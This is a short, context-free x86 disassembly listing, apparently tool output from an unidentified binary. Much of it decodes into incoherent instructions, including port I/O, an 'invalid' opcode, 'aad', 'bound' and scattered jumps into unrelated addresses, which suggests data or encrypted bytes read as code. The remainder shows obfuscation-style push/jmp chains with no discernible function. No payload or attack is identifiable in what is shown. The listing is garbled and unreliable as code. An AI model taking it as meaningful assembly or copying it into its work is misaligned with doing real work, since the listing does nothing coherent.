or dword [esi - 0x198b84ad], ebp
inc dword [ebp + 0x2e]
lea edx, [esi + 0x3d]
dec eax
or ecx, ebx
fisttp dword [ebp - 0x2a4c94b4]
jb 0x45c5f2
push esi
cmp eax, 0xdbcb0b48
lea ecx, [ebx + ebp*2 - 0x4d]
aad 0x72
sub byte [ebx], ah
stc
and edi, ecx
push edi
out dx, eax
dec eax
pop edx
jnp 0x45c590
jb 0x45c646
mov bl, 0x14
mov ebp, 0x79c049f3
ret 0x80c4
aas
jp 0x45c5d2
bound ebp, qword [ecx - 0x38]
xlatb
cmpsd dword [esi], dword es:[edi]
or ah, byte [ebp + 0x14117e41]
mov byte [esp + eax*8 - 0x5f], al
in al, dx
shr byte [edx + eax*2], cl
invalid
lahf
ret 0xd702
xor bl, 0xae
btc dx, 0xb3
sbb bl, 0x37
bt dx, dx
rol bl, 1
jmp 0x45bceb
mov dword [esp], 0xeb9f3338
jae 0x45c468
push 0x38b9c7b2
push 0xd8a4fabb
dec eax
lea esp, [esp + 0x10]
jmp fcn.0047261e
jmp 0x4e6133
jmp 0x4ddd01
not eax
push 0x58945d98
mov dword [ebp], eax
jmp 0x46616d